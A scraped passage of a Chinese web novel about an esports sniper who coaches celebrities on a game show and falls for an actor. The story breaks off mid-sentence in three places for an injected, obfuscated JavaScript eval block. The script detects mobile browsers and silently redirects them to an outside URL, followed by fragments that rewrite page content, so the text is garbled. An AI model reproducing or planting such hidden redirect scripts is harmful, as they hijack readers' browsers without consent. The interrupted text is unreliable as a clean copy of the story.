更何况，她现在也没空看叶之是个什么表情。 地图里，莫羽前后的脚步声清晰传入耳机，像是恐怖片里午夜的钟声，一声声催命而来。 莫羽深呼吸，朝着另一个方向跑去，试图避开这场毫无胜算的以少打多。 夏正晨已经和她汇合，此刻也控制不住紧张地在耳机里呼唤自己。 “莫羽姐，你说，我们还能赢吗？” 莫羽的沉默像是一行无声的答案。 因为下一秒，对方全员参与的围剿就在渐响的脚步声中奏响终章。 “砰、砰、砰——” 枪声四起，霎时硝烟弥漫。 莫羽闪躲着，却仍是双拳难敌四手，和夏正成双双倒在了血泊中。 彻底死亡前的最后五秒，Shiny就这么在旁边静静看着，像极了总决赛时最后一幕的重演。只不过这一次，两人的位置调换，躺在地上的人是莫羽。 莫羽撇嘴，心里不爽，被一个辅助收了最后的人头，这说出去可真是丢脸。 大大的“defeat”几乎撑满了屏幕，像是对战败者的又一记响亮耳光，扇得莫羽心烦意乱。 “好可惜啊...”徐晓慧叹了口气。 屏幕里此刻在回放本局比赛的精彩集锦，除了莫羽利用小怪的精彩撤退，其他都是胜点的镜头。 夏正晨显然有点自责，“莫羽姐，是不是我推了你的后腿...” 莫羽平复了一下心情，只道：“没事。下张图看看我们运气吧。” * 由系统随机抽选的第三局，在Wings十二只眼睛的注视下最终锁定在了病毒医院，另一张拥有特别debuff机制的地图。 人倒霉起来，概率学都不是个科学问题了。 徐晓慧彻底晕倒，气若游丝道，“要不，我们找时间去寺庙里拜拜？” 莫羽一时语塞，一度想要放弃却强打起精神，“那个...加油，人定胜天...” “嗯，人定胜天。”叶之倒是附和着莫羽，语气里带着昭然若揭的野心。 按照粉丝的说法，那就是，咱们影帝摊牌了，不打算将自己的好胜心藏起来了。 莫羽扫了眼他，叶之挺直的鼻梁和鼻梁之上的金丝边眼镜异常惹眼，冷冽线条的侧脸一下中和了眼镜带来的斯文感。 她赶紧收回打量的视线，脑海里开始寻求破局的方法。 说实话，这比赛比她职业联赛难打多了。明星队友们不是专业选手，从操作到意识，都差得有点远。 屏幕上亮起了决胜局开始的倒计时。 5、4、3、2、1—— 莫羽打起精神，指挥着队伍再次兵分三路出发。 这一次，她和坦克叶之一组，医疗兵夏正晨则跟着突击手谭山，徐晓慧则依旧是单独行动的游走。这样的调整主要是为了保护一紧张就容易操作失误的谭山前辈的。 病毒医院被废土求生玩家们戏称为最恶心的一张地图，没有之一。 原因也很简单，首先是这张地图特别复杂，密道尤其多，完全不知道你和对手会在哪天狭小的通道相遇。 其次就是无孔不入的debuff机制，让大家防不胜防。从地图的名称也不难看出，病毒是造成减益伤害的主要源头。每隔十分钟就会通过空气管道传播的病毒，会让每一个没有防毒面罩的玩家持续掉血一分钟，虽然量少，但是很折磨。 “大家先努力搜一下防毒面罩，路上小心密道埋伏。”莫羽叮嘱，和叶之一起踏上了寻找防毒面罩的道路。 游戏里一前一后前进的小人，正配合着左右张望。莫羽对这张地图的每一个密道或是密室都了若指掌，这上下三整大平层，她可练习和实战了太多遍了。 莫羽会在叶之进入可能存在埋伏的地点前预先提醒，叶之则会随时做好撑起盾牌的战斗准备。 叶之的好运气和莫羽的坏运气对冲，两人花了整整八分钟，才在第一次病毒释放前堪堪找到了一个防毒面罩。 “你拿着吧。”叶之绅士地礼让。 但莫羽显然没承情，一本正经地拒绝道：“没关系，你现在比我更需要它。” 叶之：“......” 发现偶像沉默后，莫羽这才又后知后觉地意识到自己的话似乎有点奇怪。 不过没关系，在赢比赛才是第一位的叶之的心里，没什么是拿下对方一个人头不能解决的。如果有，那就是两个人头。 两人成功靠着密道的埋伏，抓住落单的对方游走。莫羽一枪爆头，再次收获叶之的真心夸赞。 但下一秒，己方接二连三的阵亡通知就占据了整个屏幕。 先是另一边的进攻辅助二人小分队被Shiny领着的三人队伍埋伏围剿，双双阵亡。再是游走兵徐晓慧一个没注意，先是被病毒debuff消耗成了残血，又是被狙击手孟茜盯上，直接一波收割带走。 二打四，局面急转直下。 叶之野心和决心都很大，但是实战的经验和技术确实有欠缺，一个不注意就被围攻了。 而莫羽则秉承着偶像倒地、必须得扶的精神，冒着买一送一的风险，咬着牙大胆冲上前。 可惜，饶是经验丰富的她，还是没能从围攻中全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135412|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而退。反而将自己也搭了进去。 莫羽认命地闭上双眼，暗骂一声，“艹，冲动了。” 屏幕一瞬变灰，象征着失败的大字浮现。 “下次别救我了。”叶之声音闷闷的。 莫羽一愣却没答应，只道：“下次我换个方法给你报仇。” 这次换成叶之愣住。 一向游刃有余的影帝，一时竟不知道该回复什么。 胜点战队连扳两场，取得了小组循环赛的开门红。和他们欢呼雀跃的气氛形成鲜明对比的，是Wings低着头不说话的低气压。 莫羽在心里长叹，却不知道该说些什么来安慰大家。 自从她出道以来，她输掉的比赛屈指可数，安慰人或者是被安慰的经验那就更稀有了。 大家沉默地回到了后台，将中间万众瞩目的位置留给了下一组登场对抗的队伍们。 他们被安排在了离舞台最近的房间，旁边是胜点，再往后则是其他四支队伍。大概是临时搭建的，房间之间的隔音效果不太好，爽朗的笑声隐隐约约从隔壁传来。 “教练，等会儿能再补讲一下丧尸校园和病毒医院这两张地图吗？”叶之眉头紧锁，语气也算不上温和，一张嘴，周围的温度都骤降了几度似的。 名为不甘心的情绪笼罩着他。 这让正准备收工的队友纷纷身形一顿，连一向不服气的夏正晨也被这声音压回了座位。那声音仿佛带着不怒自威的神奇魔力。 “如果你们不着急走的话，我们可以做个复盘。” 莫羽看了眼时间，已是深夜十二点，如果快速复盘，应该不会耽误太长时间。 再一转头，隔壁胜点组正三三两两地下班，大部分人都没有特意进来道别，偶尔有人好奇地朝敞开的大门内张望，但也没人真问出声。 孟茜是最后几个出来的，她的高跟鞋和地板接触，隔着几米也能听到其发出清脆的嗒嗒声。 “你们还不走吗？”她脚步一顿，好奇地探头，问出他们队很多人心头的疑问。 Wings的众人你看看我，我看看你，愣是没一个人解释现在这个略显诡异的局面。 终于，还是叶之打破了僵局。 他的脸上挂上了熟悉的笑容，周身的冷气仿佛瞬间消失，“这不是想着下次怎么复仇回来么。” 叶之微微勾起的嘴角加上带着开玩笑意味的回答，成功让孟茜捂嘴浅笑。 她也半开玩笑地回道：“好啊，我们等着。” 但只有此刻坐得挺直的队员们才知道，叶之这笑眯眯的回答背后，有多认真。 胜点队的队长Shiny最后一个离开。他看着他们有些惊讶，但终究还是没多管闲事，只是和莫羽道了别，“加班呢？早点休息。” 莫羽点点头，“明天见。” 叶之此刻已经收起了微笑，嘴唇重新抿成了一条直线，面色凝重地看着电脑屏幕。还没等Shiny完全走远，就冷冷开口，“我们先复盘第二局吗？” 莫羽像是上课时被班主任抓住开小差的学生，眼神中有一丝慌乱，“啊...对！” “那辛苦教练。”叶之直直地看着莫羽。 莫羽心里一紧。 原本在她看来是来自偶像的特别的称呼，在一场比赛后，莫名变得沉重了起来。而且，明明在一起打游戏推进的时候，叶之都直呼大名了，现在却又叫起了教练，真够让人心里发慌的。 而影帝几度大变脸的这一幕自然被一旁的摄像机如实捕捉。 导演组眼神中的兴奋不似作假，看来这一集上线后，热搜又要被节目组承包了。 12. 暗恋第十二天 果不其然，上线的三个小时内，《冠军狙击》就以霸屏的架势，吸引了吃瓜群众的全部注意力。 节目还蔫坏地在莫羽正式复盘前进了中插广告，更是给了广大网友一个讨论的时机。 @我的墙头第一帅：【所以，平时看起来无欲无求的翩翩公子影帝，私下里竟然是一个打游戏上头的野心家？！爱了爱了！】 @叶之我老公：【妈呀，所以，我老公其实是个斯文败类吗？他一脸野心地推金丝边眼镜狠狠戳中了我的xp，好想扒开他扣到喉结的衬衫，谁懂！！】 @生命不息磕糖不止：【只有我觉得大影帝和少女教练这一对cp很好磕吗？看到Shiny过来和莫羽聊天的时候是不爽吧，是占有欲吧，是吧是吧！】 @叶哥哥独美：【cp脑可别造谣了，我们哥哥这是想快点复盘好吧？】 #叶之打游戏上头# #叶之莫羽# 两个词条双双冲上热搜。 莫羽本来是和其他叶之粉丝一样，一边追节目，一边欣赏叶之的颜值。但当她看到热搜的另一方当事人变成自己的时候，她实在是有点儿笑不出来。 私信的红点纷至沓来，用脚趾头想也知道估计是没什么能入耳的话。 莫羽在俱乐部的房间里忐忑不安地踱步，最终还是没忍住回到书桌前，将播到一半的节目继续追了下去。 眼前的平板电脑里兀地出现一张严肃的脸。化妆师的手法很靠谱，一天下来底妆也没有花，比平时素颜朝天的样子好看多了，莫羽想。 就是这隔着屏幕看自己的感觉，挺微妙的。 节目里，莫羽的讲解看上去游刃有余。后期调皮地给她加上了可爱的教书小人贴图，让莫羽看上去像是抓着同学补习的敬业老师，就差在每个人耳边问上一句“你懂了没”。 莫羽回忆了一下那个夜晚的情景，低气压笼罩自己的感觉卷土重来，让她一边打了个寒颤，一边感叹剪辑果然有逆转气氛的魔力。 实际上，当天叶之散发的冷气，放根冰棍在房间里都不带融化的。如果是莫羽是讲台上的教师，那叶之就是来听课检阅的教导主任。 在叶之那双充满求知欲的眼睛的注视之下，莫羽丝毫不敢怠慢，将两场比赛的失误和提升讲得明明白白，更别提生出什么旖旎的小心思了。 但下一个镜头，叶之那张线条分明的脸上，却出现了一抹隐约可见的笑意，连眼神都变得柔和起来，让人想要沉沦在那双眸子里。 莫羽愣神。 叶之什么时候做过这个表情，还是后期实在太会捕捉细节了？ 复盘持续了一个小时，连隔壁几组的摄像老师都跑到他们组来加班了，小小的房间瞬间挤满了围观群众。 莫羽感觉到压力，终于将最后一处细节讲解完毕，长舒一口气。 “时间不早了，如果还有什么问题，大家可以等会儿单独来问我。” 谭山实在没忍住打了个哈欠，匆匆起身走向早早在一旁等待他的经纪人，“年纪大了熬不动咯。” 大家随后陆陆续续撤离，节目组的工作人员也三三两两准备收工。 正当莫羽准备回去休息的时候，一个很有磁性的声音在耳边响起。 “莫羽，我能再问你一个问题吗？” 屏幕内外的莫羽同时瞪大了眼睛。 当时的自己是因为被偶像突然呼唤的惊讶，现在的自己则是发现全程被摄像机记录下来的惊吓。 好家伙，自己和叶之半夜三更单独相处的视频就这么出现在了节目最后的五分钟。 莫羽看着进度条慢慢走向尾声，认命地闭上眼睛。虽然两个人的话题正经得不能再正经，但就叶之那时没什么距离感的动作，她已经能够想象网络上会掀起怎样一片腥风血雨了。 平板里的节目自顾自地继续播着。 叶之不避嫌地凑到了莫羽的电脑显示屏前，手指示意着地图上的一处房间。 此刻，他和莫羽之间的距离不足十公分，说话的时候温热的鼻息会像挠痒痒似的掠过莫羽的脸颊。 她一下僵住，感觉叶之的问题在耳边越飘越远，变得模糊起来。 “莫羽？”叶之微微皱眉唤了她一声。 “啊...”莫羽回神，挪了下屁股，和叶之拉开距离，“嗯。” 只抓住了几个关键词的她，连蒙带猜，手指胡乱地在地图的某个角落这么一指，“你是说，这里的密道吗？” 叶之大概也意识到两人的距离有点过分亲密，不动声色地退后一步，手指点在莫羽指示方位的右侧两厘米处，“是这里。” “哦。这里是有一个密道来着，通这两间病房。”莫羽说完又举了之前比赛时的例子，耳边没有了偶像的热气，她感觉自己脑袋都转得快了些，便将其他几处容易忽视的要点再次重复。 叶之就这么真挚地看着屏幕，偶尔转过头看向她的侧脸。 莫羽被那视线盯得耳根瞬间发烫。 临时搭建的房间有些闷热，叶之下意识地解开最上方的纽扣，向外拉了拉衬衫，风从领口钻进胸膛。 与风一起的，还有莫羽想看又不敢看的试探眼神。 如果不是对地图足够了解到形成肌肉记忆的程度，估计莫羽早就开始满嘴跑火车了。但现在，她一边暗暗撇去偷看叶之的眼神，一边大义凛然地讲着地图的诸多细节。 还好，摄像老师此刻并没有拉近景，两人脸上的表情都看不甚清楚。 明明莫羽只讲了三五分钟，她却觉得这时间好漫长。 终于，叶之恍然大悟地点头，先是道谢又是道别。 临走前，叶之还主动帮莫羽收拾被队友们随手乱放的耳机。 “就当是请教的学费。”他浅笑。 红色和蓝色的两只耳机就这么被相邻地挂在了一旁的木架子上，比起此前在箱子里毫无关系的凌乱，它们此刻显然整齐起来，也贴近了不少。 * 节目结束后，莫羽心里有些纷乱，她没敢看微博，也不想收到骇人的问候。 她随手拿了晾衣架上的毛巾浴巾进了淋浴间，抬手将水龙头打开，任由热水拍打在脸上，升腾的热气将她淹没。 莫羽心烦的理由很简单，又是因为叶之。 那天晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135413|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单独相处的时候，莫羽就知道一种奇妙的感情像是一颗种子一样破土而出，长出新芽了。 帅哥，果然都是祸水！ 莫羽暗骂，摇摇头，似乎这样就能把这个有些“大逆不道”的想法晃出脑袋似的。 谈恋爱，只会影响我出枪的效率。嗯，一定是这样！ 莫羽在起了雾的镜子前自我催眠道。 她包着浴帽就从浴室里走出来，两只脚丫子踩在毛茸茸的地毯上，偶尔有从白皙小腿处滑落的水珠，在接触地毯的瞬间便一下没了踪迹。 “叮——” 手机响起微信的提示音。 是谁发的？莫羽心里好奇，随手点开。 瞟了一眼，原来是来自名为【Wings要拿冠军】群聊的消息。 这个群聊是在《冠军狙击》节目录制后不久建的，大部分时候没人说话，只是偶尔，莫羽会发一些战术讲解的资料什么的，看上去挺无聊。 @夏正晨：“啊，莫羽姐你竟然给叶之前辈开小灶了！我好羡慕啊！【撒娇打滚表情包】” 果然，哪怕是在即时通讯软件这种地方，夏正晨也是雷打不动和叶之杠上。 莫羽揉揉眉心，不知道该怎么回复。 苦恼时，群聊弹出了一条新消息。 @徐晓慧：“我就不一样了，我不羡慕，我只想躺下。” 莫羽失笑，在心里感谢她给自己的台阶，回复道：“你不许偷懒。” 下一秒，徐晓慧的私信就弹了出来。 “你不许看微博！！” 虽然群里热闹，但莫羽只加了徐晓慧一个人好友。 其他人是没兴趣加，叶之则是不敢加。有好几次，莫羽都已经点开叶之的头像，点下添加好友的按钮，好友申请写了删，删了又写，却迟迟无法按下发送键。 此时，见到来自徐晓慧的关心短信，莫羽的嘴角又上扬几度。 “放心，没看。”她回道。 但令人哭笑不得的是，徐晓慧上一秒还是暖心闺蜜，下一秒就变成了八卦记者。 “但是，那个，你和叶之有没有可能啊？我感觉节目里火花四溅啊！” “你不是在现场么？”莫羽扶额。 【图片】 不过几秒，徐晓慧就发回了她的小号参与创建自己和叶之cp超话的微博。好家伙，还是个元老级别的cp粉。 “所以，我更加忍住了做瓜主的冲动！” 莫羽：“？？我在节目里和叶之没什么吧？” 徐晓慧：“啧啧，你卫生间的洗发水沐浴露都是叶之代言的诶！而且，叶之靠近的时候，你会眼神乱飘！” 莫羽彻底宣布自己败下阵来，心道，自己真有这么明显吗？ “好了，别说了！我是挺喜欢叶之的电影的。” “哦～～只是电影嘛？”徐晓慧的八卦之意并未消退。 莫羽：“...” 下一秒，一个新的好友申请出现在微信列表。 那人的头像是一张落日余晖的照片，理由上赫然写着“我是叶之”，申请来自【Wings要拿冠军】群聊。 13. 暗恋第十三天 莫羽手上僵了一下，脑子却抢先一步按下了通过键。 曾经无数次的试探未果，变成了此刻的如愿以偿。 叶之姓名条的方位显示着“对方正在输入...”，莫羽从来没感觉时间变得如此缓慢。她坐立难安，时不时看一眼手机，那短短的五秒钟，仿佛有一个世纪那么漫长。 咚、咚、咚—— 心脏位置传来的巨响在身体里回荡，期待的鼓点越奏越密。 半晌，悦耳的叮咚声终于在房间里响起。 手机屏幕由暗变亮，莫羽迫不及待地拿起来，赫然发现叶之认认真真地打了一大段话。 “不好意思，我当时只想着要问地图的事情，没想到会给你带来这么大的麻烦。社交媒体上一些激进的发言你千万别放在心上。关于所谓的绯闻，我已经发了新的微博，希望能减少对你的影响。抱歉，晚安！” 莫羽一字一语阅读着来自偶像给自己的第一段私信，虽然严格意义上来说，这算是一封道歉信。 她退出微信，切换到了原本没一点儿打开想法的微博。 只见叶之的最新的词条#叶之回应#，已经成功顶替他的八卦绯闻，冲上了新的第一位。 @叶之：上个综艺节目，没想到自己竟然是上头型玩家。胜负欲太强给教练造成不便，希望大家不要再过分解读了。在这里也给教练说声抱歉！@Wings-plumage莫羽 除了给自己的高调道歉，叶之还顺手关注了自己的大号，直接或间接地给她带来了十万新关注。原本她最新一条微博下面还充斥着骂声和质疑，现在已经被来道歉的和来吃瓜的网友占据了前排。 莫羽不可置信地看着这一切，颤抖着点下了回关。 她从来没有想过，自己和叶之在一天之内经历了从粉丝和偶像到绯闻情侣，从微信好友到微博大号互关的里程碑式的关系跨越。 总的来说，就是主打一个魔幻现实。 莫羽开心地一下倒在了松软的大床上。 被这突如其来的喜悦冲昏头脑，她毫无顾忌地在Queensize的大床上滚来滚去。 可刚滚到一半，她就愣住了——她好像还没给叶之的微信回复！ 把主动加她的偶像晾着，这可不应该。莫羽立刻翻身，准备从床上起来认真地回复。 但起得太猛，腰随即一个极其别扭的姿势僵住，只听咔的一声，骨头连接处传来的声响在静谧的房间里显得如此清晰。 下一秒，一阵疼痛从腰部传来。 莫羽疼得将脑袋埋进了枕头里，原来这就是传说中的乐极生悲吗？ 她以趴着的姿势维持了几秒，感觉到疼痛在渐渐消失。随后，她又试探性地动了一下，呼，看来没什么大碍。 莫羽小心翼翼地坐起来，上半身僵直地开始在手机上码字。 虽然她现在心里依旧会因为今天的一切而陷入悸动，但真写到对话框里，再离谱的心声也自动变得规矩起来。 “我没事，还麻烦你特意给我澄清了。” 仅仅十一个字，莫羽斟酌了许久。她本来想写些请客邀请以继续这场对话，但最终还是删掉了，深呼吸按下了发送键。 叶之的回复很快，然后两人的第一次单独聊天就画上了句号。 “你没事就好。” 莫羽把两条信息看了好几遍，这才以一种诡异的姿势重新平躺回了床上。 她睁眼盯着天花板，心道，果然，还是得加强锻炼啊！ * 被铺天盖地的热搜袭击的第三天，又是一个录制日，即循坏赛的第二个比赛日。 休息室里，叶之的经纪人愁眉不展。 “大影帝，答应我，这次克制一下你的胜负欲好吗？” “怎么，现在后悔非让我上这个节目了？”叶之手中仍是那只黑色金边的万宝龙钢笔，手下是一本新的数独集子。 今天要录节目，他得做点题目平静一下，防止太过上头。 经纪人扶额坐在一旁的沙发上，“是，我要是知道你又菜又爱玩，我真的说什么也不会让你去的。” “晚了，你求我签的合同。”叶之挑眉。 经纪人长叹一口气，“而且，你那天为啥非得给那个莫羽发澄清微博啊？我可是让公关部紧急加班联系营销号澄清你们绯闻，还发红稿！” 叶之停下了手中的钢笔，转过头看着经纪人，“莫羽是金牌教练，我之后拿冠军还要靠她的指导呢。” 经纪人一愣，“不是，你真的是非要拿这个冠军不可啊！” “当然。”叶之的表情不似有假。 经纪人生无可恋地靠在沙发椅背上，“真的，你上一次和我说要实现什么目标的时候，还是拿影帝...算了！不过你还是稍微克制一下，现在网上还是有很多人说你这是在帮莫羽解围，如果你真给我上头干出什么奇怪的事，我就真帮不了你了。” 叶之不置可否地重新集中起精神，做完了手上的数独题。 其实他心里很紧张，这场比赛不能再输了，否则他将提早小组出局，彻底无缘冠军。 循环赛三队一组，三场比赛后积分前两名出线，每一场的重要性都不言而喻。 2-0积两分，2-1积一分，输比赛不得分。 Wings以1-2输了第一场，退无可退。这也是他上一场之后面色难看的最主要的原因。 工作人员敲敲门，恭敬地让叶之前往拍摄现场候场，大意是还有十几分钟就会开始正式录制。 叶之站起身，他温文尔雅影帝面具被重新戴上，给经纪人吃定心丸，“放心，那我演技还不至于那么差。” 到了现场，叶之环顾四周，竟然意外没看到莫羽的身影。按照往常的习惯，莫羽通常是最早来的几个人，堪称敬业劳模。 不会是被网络上那些风言风语影响了吧？叶之有些担忧。 又等了五分钟，莫羽这才姗姗来迟。 就是，她走路的样子有说不出的僵硬感。 “你咋了？”徐晓慧赶紧上千扶助莫羽，“你不会是被什么黑粉袭击了吧？！” 叶之听着这个竟有些合理的猜测，心一下提了起来。 他下意识向前走了一步，大概觉得能将莫羽的回答听得更真切些。 莫羽扶了下腰，解释的声音越来越轻，“当然不是！我就是在床上翻身的时候，扭伤了...” “哈？”徐晓慧呆滞了一秒，而后面色扭曲，终于噗嗤一声笑出声来，“抱歉抱歉，没忍住。” 莫羽无奈。 叶之在一旁听着两人的对话，先是松了口气，看来不是自己黑粉惹的祸。但这心还没放下几秒，就又悬了起来。 说起来，莫羽这伤势会不会影响她的发挥啊？以防万一，还是得做点儿什么。 于是，他先是打开手机微信一通操作，然后走到莫羽面前说道：“我刚在微信把我的私人医生推给你了，你的伤可以咨询一下他。他在本市有诊所，你也可以去诊疗。” 莫羽呆呆地打开手机，果然看到了叶之推送过来的名片。 “谢谢，我会的。” 两位互联网绯闻男女的对话，似乎是同事间的关心，但又多了一分暧昧。 徐晓慧眨巴着水汪汪的大眼睛，看看叶之又看看莫羽，嘴角不自觉越扬越高，一脸磕到了的模样。 * 今天是小组循坏赛的第二场，Wings的对手是Rainbow。虽然不算太强，但也和弱队这两个字不搭边。 两个队伍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135414|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的比赛被安排在了第二组，大家录完开场之后，就又回到熟悉的临时房间。 因为前两天的绯闻传闻，房间里的气氛有种说不出的怪异。平日里最爱抓着莫羽聊天的徐晓慧也安静了下来，乖巧地坐在椅子上。 莫羽轻咳了一声，“之前，我也给大家在群里发了我总结的Rainbow的一些战术特点和我们可以的应对方法。大家都有好好看一下吧。” 夏正晨积极地点头，“看啦莫羽姐，而且我们这套战术之前都练过好多遍了，你放心。” 一旁的谭山跟着小年轻点头。 “我也看了！而且我回去有好好看上次的那两张地图。”徐晓慧说这话的时候，眼神下意识地瞥向叶之。 莫羽心道，看来大影帝之前输比赛的冷脸实在是令人影响深刻。 叶之倒是完全没感觉到自己的“威严”似的，恢复了谦谦君子的样子，“我也看了。” 莫羽的担心减少了一些，索性将注意力放在了大屏幕里正在直播的场上的比赛。所谓知己知彼百战不殆，莫羽不想放过任何一个观察对手的时机。 这场比赛的对阵双方是另一个小组的光时和SG，实力不分伯仲。两队先是一比一各拿下了一局，在第三局才分出了胜负。 最终，SG凭借好心态和团队配合，在逆风开局的情况下完成翻盘。 屏幕里的比赛结束，意味着属于Wings的第二场循环赛即将开启。 经历了上一次的失利之后，大家面色凝重不少，连带着戴上耳机调试设备的动作都格外认真。 “大家加油，稳住。”随着比赛倒计时的结束，莫羽在耳麦里说道。 第一局的地图是游乐场，大家算是熟悉，因此整个过程都比他们预想中更顺利一些。除了稳定发挥出绝佳狙击准头的莫羽，叶之也贡献出不错的防守时刻。 1-0，Wings迎来开门红。 “看来我们要翻身了！”徐晓慧很激动。 “别得瑟。”莫羽看着她亮闪闪的眼睛，无奈按住她的兴奋。 徐晓慧没当回事，在耳麦里撒娇，“有你在肯定没问题吧～” “骄兵必败。”叶之淡淡地插话，声音平静却充满威压。 徐晓慧立刻收起了不正经的笑容。 第二局确实打得艰难些，主要还是因为Rainbow队的狙击手李植江，上来就给把游走徐晓慧给打成了重伤。如果不是徐晓慧翻滚躲避得够及时，估计这子弹就直接要了她的命了。 但无论如何，李植江这一枪的威慑效果，徐晓慧之后的侦查，难免带着点束手束脚。 莫羽将大家的表现和走位都看在眼里，她正在过山车区域的高处观察着情况，准备伺机而动。 突然，一个鬼鬼祟祟的人影从旋转木马区域现身，朝着碰碰车区域蹲着身子靠近。 那人不是别人，正是李植江！ 莫羽心里一紧，紧随其后。 叶之还在碰碰车区域寻找复活碎片，丝毫没有注意到身后摸来准备偷袭的李植江。 因为不想被李植江发现，莫羽只是远远地跟着。这招叫，螳螂捕蝉黄雀在后。 大抵是觉得距离和位置都不错，李植江在不远处的掩护物后上膛，将狙击枪瞄准正毫无察觉的叶之的后脑勺。 但莫羽比李植江更快一步，扣下板机。子弹嗖的一下飞出去，在李植江扣动板机的前一秒，精准地打中了他的脑袋。 被这一声枪响惊动，叶之一边闪躲跑位一边观察。在意识到是李植江倒下后，又一下停住了脚步。 五秒后，屏幕上写道：“Wings-plumage莫羽击杀Rainbow-李植江”。 然后，她缓缓将耳麦凑近嘴唇，说道：“没事，我在。” 14. 暗恋第十四天 叶之喉结微动，终于看清了眼前的局面和因果。 “谢谢。”他低沉的嗓音传来。 如果不是现在的情况实在不和时宜，徐晓慧估计已经磕糖到尖叫了。于是，她只好独自克制脸上的表情，憋了半天，说了句“厉害”。 解决了对面最强的选手之后，Wings局势大好，几个人保持第一局的好状态，一路朝着胜利的方向狂奔。 特别是当李植江死亡之后，原本小心翼翼的徐晓慧也找回了自己的节奏。 “赢了！”在看到胜利字样的时候，徐晓慧忍不住尖叫出声。 2-0，Wings战胜Rainbow，拿下2分的小组积分，排名直接攀升到第一，一场逆转。 导演组要的刺激和节目效果在循坏赛阶段就达成了。 就是一场比赛下来，莫羽感觉自己腰已经僵直，那状态和游戏里被打得动弹不得的小怪没什么区别。 她扶着腰部缓缓从电竞椅上站起身，却还是牵扯到了某根筋络，轻轻嘶了一声。 一旁的叶之敏锐地捕捉到莫羽的异常，低声提议：“你早点回去休息吧。记得问问我推你的医生。” 没等当事人回应，徐晓慧已经立刻瞪大了眼睛，竖起耳朵。 莫羽想，叶之怎么突然转性了？而且，这话怎么听着这么暧昧？ 但她准备吸取上次的教训，决定在镜头面前不留下任何暧昧的可能性。于是，莫羽义正言辞地抬手拒绝，“没事，还是复盘比较重要！” 叶之解释道：“休息是为了更好的出发。” “谢谢，但节目还没录完呢。”尽管偶像都这么说了，但她还是不想这么早离开，也许是想多和叶之相处一会儿。 叶之不置可否，重新坐回了沙发上。 他今天的坐姿很自在，出线后，那些心里负担都不见了。 腰部传来的不适感很快消失，莫羽此刻完全被屏幕里的比赛吸引。她认真地记录着每个队的优缺点，短短几周的时间，这些明星学员或多或少都有进步。 至于复盘阶段，则比往常结束得更快。 “小组第一还是第二出线，命运已经不在我们自己手里了。”谭山难得开口，但一语直击真相。 “那感觉需要向叶前辈借一点好运气。” 嗯，夏正晨说这话的时候，莫羽感觉他终于正常了。 一整天，他认真打比赛，做一个靠谱的辅助，连叶之指挥她帮忙加血的时候，都只是默默听从。 叶之挑眉，“那你准备怎么还？” “噗——”徐晓慧笑出声。 莫羽看着气氛重新恢复到最初的欢闹，终于放松下紧绷的肩膀。 “那我们后天还来吗？”徐晓慧这话是问导演的，然后成功收获了导演组理所当然的回答。 大概是被空气中的活跃影响，莫羽说话也放开了许多，“你这通告费拿得挺轻松。” “你...莫羽你竟然也学坏了？！”徐晓慧眨了眨眼睛，然后没好气地说，“好吧，我们还要一起见证，捡漏小组第一的时刻呢。” * 录制结束的时候，叶之仍是最后一个没走的人。 在确认所有摄像机都已经关闭，导演组也走了大半之后，莫羽终于大胆朝叶之的方向靠近两步。 “今天有不明白的地方吗？”她以为叶之不走是因为又要问什么问题。 说着，她缓慢地起身，尽量让自己上半身保持正直，不至于加重腰部的难受。 叶之摇摇头。 莫羽疑惑，眼神里是无声的询问。 “这儿离俱乐部太远了，我送你回去吧。”叶之提议，“你这不是腰扭到了么？” Wings俱乐部在市里，电竞大厦在郊区。今天来录制的时候，莫羽因为扭伤的腰，花了三位数的钱打车过来，一度非常肉痛。 现如今，一个既能够省钱，又能和偶像多相处一会儿的机会就这么明晃晃地摆在了她的眼前，让她根本无法说出拒绝的话。 见莫羽没拒绝，叶之做了个请的手势。他可以放慢了脚步，在行动不便的莫羽身边亦步亦趋地并排走着，沉默着，却很耐心。 叶之的车停在工作人员专用的停车场，这里的安保等级挺高，他的车停得离电梯口很近。 两人不过走了十几米，就找到了叶之的车，一辆纯黑色的奥迪，大几十万，不是那种浮夸的豪车，莫名和叶之的气质很搭。 叶之掏出车钥匙，车子滴的一下被解了锁。 “我以为明星都有司机。”莫羽伸手，正打算拉开后座的车门。 叶之先她一步，将副驾驶的车门拉开，“坐后面的话，那就是明星司机了。” 莫羽这才反应过来，道了声抱歉。 “别放在心上，我开玩笑的。”大概是比赛赢了，又提前出线，叶之说话带着轻松。 莫羽恭敬不如从命地坐上了偶像的副驾驶座位，原本就直挺挺的上半身，彻底像是石化了一样，一动不动，连呼吸都变得小心翼翼的， 叶之旋转钥匙，车轰鸣后启动。 